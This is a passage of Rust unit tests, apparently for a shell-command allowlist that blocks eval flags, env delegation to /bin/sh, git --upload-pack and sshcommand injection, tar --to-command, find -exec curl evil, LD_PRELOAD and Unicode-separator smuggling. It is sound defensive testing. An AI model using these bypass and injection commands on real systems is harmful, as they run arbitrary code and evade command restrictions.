1231 fn node_e_blocked() {
1232 let list = allow(&["node"]);
1233 let result = check_all_segments("node -e 'process.exit(1)'", &list);
1234 assert!(result.is_err(), "node -e must be blocked");
1235 }
1236
1237 #[test]
1238 fn python_script_allowed() {
1239 let list = allow(&["python3"]);
1240 let result = check_all_segments("python3 script.py", &list);
1241 assert!(result.is_ok(), "python3 with script file must be allowed");
1242 }
1243
1244 #[test]
1245 fn env_delegates_to_unlisted_blocked() {
1246 let list = allow(&["env", "git"]);
1247 let result = check_all_segments("env /bin/sh -c 'id'", &list);
1248 assert!(
1249 result.is_err(),
1250 "env delegating to unlisted command must be blocked"
1251 );
1252 }
1253
1254 #[test]
1255 fn env_delegates_to_listed_allowed() {
1256 let list = allow(&["env", "git"]);
1257 let result = check_all_segments("env git status", &list);
1258 assert!(
1259 result.is_ok(),
1260 "env delegating to listed command must be allowed"
1261 );
1262 }
1263
1264 #[test]
1267 fn env_override_is_additive() {
1268 let base_list = crate::core::config::default_shell_allowlist();
1269 assert!(base_list.contains(&"git".to_string()));
1270 }
1271
1272 #[test]
1275 fn dot_source_alias_blocked() {
1276 let list = allow(&["echo"]);
1277 let result = check_all_segments(". ~/.bashrc", &list);
1278 assert!(result.is_err(), ". (source alias) must be blocked");
1279 }
1280
1281 #[test]
1282 fn backslash_newline_normalized() {
1283 let normalized = normalize_line_continuations("echo ok && \\\ncurl evil");
1284 assert!(
1285 !normalized.contains('\n'),
1286 "backslash-newline must be removed"
1287 );
1288 assert!(
1289 normalized.contains("curl"),
1290 "content after continuation must be preserved"
1291 );
1292 }
1293
1294 #[test]
1295 fn delegation_recursive_interpreter_check() {
1296 let list = allow(&["env", "python3"]);
1297 let result = check_all_segments("env python3 -c 'import os'", &list);
1298 assert!(
1299 result.is_err(),
1300 "env python3 -c must be blocked via recursive check"
1301 );
1302 }
1303
1304 #[test]
1305 fn delegation_recursive_normal_allowed() {
1306 let list = allow(&["env", "git"]);
1307 let result = check_all_segments("env git status", &list);
1308 assert!(result.is_ok(), "env git status must be allowed");
1309 }
1310
1311 #[test]
1312 fn eval_flags_extended_r() {
1313 let list = allow(&["php"]);
1314 let result = check_all_segments("php -r 'system(\"id\")'", &list);
1315 assert!(result.is_err(), "php -r must be blocked");
1316 }
1317
1318 #[test]
1319 fn eval_flags_extended_p() {
1320 let list = allow(&["node"]);
1321 let result = check_all_segments("node -p 'process.exit(1)'", &list);
1322 assert!(result.is_err(), "node -p must be blocked");
1323 }
1324
1325 #[test]
1326 fn combined_flags_pe_blocked() {
1327 let list = allow(&["perl"]);
1328 let result = check_all_segments("perl -pe 's/foo/bar/'", &list);
1329 assert!(result.is_err(), "perl -pe must be blocked (combined flag)");
1330 }
1331
1332 #[test]
1333 fn combined_flags_ne_blocked() {
1334 let list = allow(&["perl"]);
1335 let result = check_all_segments("perl -ne 'print'", &list);
1336 assert!(result.is_err(), "perl -ne must be blocked (combined flag)");
1337 }
1338
1339 #[test]
1340 fn heredoc_to_interpreter_blocked() {
1341 let list = allow(&["python3"]);
1342 let result = check_all_segments("python3 <<'EOF'", &list);
1343 assert!(result.is_err(), "heredoc to interpreter must be blocked");
1344 }
1345
1346 #[test]
1347 fn python_script_file_still_allowed() {
1348 let list = allow(&["python3"]);
1349 assert!(check_all_segments("python3 script.py", &list).is_ok());
1350 assert!(check_all_segments("python3 -u script.py", &list).is_ok());
1351 }
1352
1353 #[test]
1354 fn bare_interpreter_detection() {
1355 assert!(is_bare_interpreter_stdin("python3"));
1356 assert!(is_bare_interpreter_stdin("python3 -u"));
1357 assert!(!is_bare_interpreter_stdin("python3 script.py"));
1358 assert!(!is_bare_interpreter_stdin("python3 -u script.py"));
1359 }
1360
1361 #[test]
1364 fn dollar_paren_in_args_passes_by_default() {
1365 let list = allow(&["echo", "git", "cat"]);
1366 assert!(
1367 check_all_segments("echo $(whoami)", &list).is_ok(),
1368 "$() in args must still pass when shell_strict_mode=false (default)"
1369 );
1370 }
1371
1372 #[test]
1373 fn backticks_in_args_passes_by_default() {
1374 let list = allow(&["echo"]);
1375 assert!(
1376 check_all_segments("echo `date`", &list).is_ok(),
1377 "backticks in args must still pass when shell_strict_mode=false"
1378 );
1379 }
1380
1381 #[test]
1382 fn git_commit_with_subst_passes_by_default() {
1383 let list = allow(&["git", "cat"]);
1384 assert!(
1385 check_all_segments(
1386 "git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"",
1387 &list,
1388 )
1389 .is_ok(),
1390 "git commit with $() must still pass (regression test)"
1391 );
1392 }
1393
1394 #[test]
1399 fn git_status_allowed() {
1400 let list = allow(&["git"]);
1401 assert!(check_all_segments("git status", &list).is_ok());
1402 }
1403
1404 #[test]
1405 fn git_upload_pack_blocked() {
1406 let list = allow(&["git"]);
1407 let result = check_all_segments("git --upload-pack=\"evil\" clone repo", &list);
1408 assert!(result.is_err(), "git --upload-pack must be blocked");
1409 }
1410
1411 #[test]
1412 fn git_config_sshcommand_blocked() {
1413 let list = allow(&["git"]);
1414 let result = check_all_segments("git --config=core.sshcommand=\"evil\" clone repo", &list);
1415 assert!(
1416 result.is_err(),
1417 "git --config=core.sshcommand must be blocked"
1418 );
1419 }
1420
1421 #[test]
1422 fn tar_extract_allowed() {
1423 let list = allow(&["tar"]);
1424 assert!(check_all_segments("tar xf archive.tar", &list).is_ok());
1425 }
1426
1427 #[test]
1428 fn tar_to_command_blocked() {
1429 let list = allow(&["tar"]);
1430 let result = check_all_segments("tar xf a.tar --to-command=evil", &list);
1431 assert!(result.is_err(), "tar --to-command must be blocked");
1432 }
1433
1434 #[test]
1435 fn find_name_allowed() {
1436 let list = allow(&["find"]);
1437 assert!(check_all_segments("find . -name \"*.rs\"", &list).is_ok());
1438 }
1439
1440 #[test]
1441 fn find_exec_blocked() {
1442 let list = allow(&["find"]);
1443 let result = check_all_segments("find . -exec curl evil \\;", &list);
1444 assert!(result.is_err(), "find -exec must be blocked");
1445 }
1446
1447 #[test]
1448 fn awk_system_blocked() {
1449 let list = allow(&["awk"]);
1450 let result = check_all_segments("awk '{system(\"id\")}'", &list);
1451 assert!(result.is_err(), "awk system() must be blocked");
1452 }
1453
1454 #[test]
1455 fn awk_normal_allowed() {
1456 let list = allow(&["awk"]);
1457 assert!(check_all_segments("awk '{print $1}'", &list).is_ok());
1458 }
1459
1460 #[test]
1461 fn inline_path_env_blocked() {
1462 let list = allow(&["git"]);
1463 let result = check_all_segments("PATH=/tmp/evil git status", &list);
1464 assert!(result.is_err(), "PATH= inline env must be blocked");
1465 }
1466
1467 #[test]
1468 fn inline_ld_preload_blocked() {
1469 let list = allow(&["ls"]);
1470 let result = check_all_segments("LD_PRELOAD=/tmp/evil.so ls", &list);
1471 assert!(result.is_err(), "LD_PRELOAD= inline env must be blocked");
1472 }
1473
1474 #[test]
1475 fn echo_path_in_quotes_allowed() {
1476 let list = allow(&["echo"]);
1477 assert!(
1478 check_all_segments("echo \"PATH=test\"", &list).is_ok(),
1479 "PATH inside quotes is not an inline env assignment"
1480 );
1481 }
1482
1483 #[test]
1486 fn empty_allowlist_blocks_dot_source() {
1487 let result = check_shell_allowlist(". /tmp/evil.sh");
1488 assert!(
1489 result.is_err(),
1490 ". must be blocked even with empty allowlist"
1491 );
1492 }
1493
1494 #[test]
1495 fn unicode_line_separators_normalized() {
1496 let normalized = normalize_line_continuations("echo ok\u{2028}curl evil");
1497 assert!(
1498 normalized.contains('\n'),
1499 "U+2028 must be normalized to newline"
1500 );
1501 }
1502
1503 #[test]
1504 fn unicode_paragraph_separator_normalized() {
1505 let normalized = normalize_line_continuations("echo ok\u{2029}curl evil");
1506 assert!(
1507 normalized.contains('\n'),
1508 "U+2029 must be normalized to newline"
1509 );
1510 }
1511
1512 #[test]
1513 fn empty_allowlist_blocks_exec() {
1514 let result = check_shell_allowlist("exec /bin/sh");
1515 assert!(
1516 result.is_err(),
1517 "exec must be blocked even with empty allowlist"
1518 );
1519 }
1520
1521 #[test]
1524 fn tokenize_simple() {
1525 assert_eq!(shell_tokenize("git status"), vec!["git", "status"]);
1526 }
1527
1528 #[test]
1529 fn tokenize_double_quoted_path_with_spaces() {
1530 let tokens = shell_tokenize(r#"git -C "Program Files/repo" status"#);
1531 assert_eq!(tokens, vec!["git", "-C", "Program Files/repo", "status"]);
1532 }
1533
1534 #[test]
1535 fn tokenize_single_quoted_windows_path() {
1536 let tokens = shell_tokenize(r"git -C 'C:\Program Files\repo' status");
1537 assert_eq!(
1538 tokens,
1539 vec!["git", "-C", r"C:\Program Files\repo", "status"]
1540 );
1541 }
1542
1543 #[test]
1544 fn tokenize_single_quoted() {
1545 let tokens = shell_tokenize("echo 'hello world' done");
1546 assert_eq!(tokens, vec!["echo", "hello world", "done"]);
1547 }
1548
1549 #[test]
1550 fn tokenize_backslash_escape() {
1551 let tokens = shell_tokenize(r"echo hello\ world");
1552 assert_eq!(tokens, vec!["echo", "hello world"]);
1553 }
1554
1555 #[test]
1556 fn tokenize_empty() {
1557 assert!(shell_tokenize("").is_empty());
1558 assert!(shell_tokenize(" ").is_empty());
1559 }
1560
1561 #[test]
1562 fn tokenize_mixed_quotes() {
1563 let tokens = shell_tokenize(r#"cmd "arg one" 'arg two' arg3"#);
1564 assert_eq!(tokens, vec!["cmd", "arg one", "arg two", "arg3"]);
1565 }
1566
1567 #[test]
1570 fn token_end_simple() {
1571 assert_eq!(quote_aware_token_end("foo bar"), 3);
1572 }
1573
1574 #[test]
1575 fn token_end_double_quoted() {
1576 assert_eq!(quote_aware_token_end(r#""foo bar" baz"#), 9);
1577 }
1578
1579 #[test]
1580 fn token_end_single_quoted() {
1581 assert_eq!(quote_aware_token_end("'foo bar' baz"), 9);
1582 }
1583
1584 #[test]
1585 fn token_end_entire_string() {
1586 assert_eq!(quote_aware_token_end("foobar"), 6);
1587 }
1588
1589 #[test]
1590 fn token_end_env_with_quoted_value() {
1591 assert_eq!(quote_aware_token_end(r#"FOO="bar baz" git"#), 13);
1592 }
1593
1594 #[test]
1597 fn skip_env_quoted_value_with_spaces() {
1598 let result = skip_env_assignments(r#"FOO="bar baz" git status"#);
1599 assert_eq!(result.trim(), "git status");
1600 }
1601
1602 #[test]
1603 fn skip_env_multiple_assignments() {
1604 let result = skip_env_assignments(r#"A=1 B="two three" cargo test"#);
1605 assert_eq!(result.trim(), "cargo test");
1606 }
1607
1608 #[test]
1611 fn extract_base_quoted_path() {
1612 let r = extract_base_from_segment(r#""/usr/local/bin/git" status"#);
1613 assert_eq!(r, "git");
1614 }
1615
1616 #[test]
1619 fn interpreter_check_with_quoted_path() {
1620 let list = allow(&["python3"]);
1621 let r = check_all_segments(r#"python3 "/path/with spaces/script.py""#, &list);
1622 assert!(r.is_ok(), "quoted path to script should be allowed");
1623 }
1624
1625 #[test]
1626 fn dangerous_flags_git_quoted_path() {
1627 let list = allow(&["git"]);
1628 let r = check_all_segments(r#"git -C "C:\Program Files\repo" status"#, &list);
1629 assert!(r.is_ok(), "git -C with quoted path should be allowed");
1630 }
1631}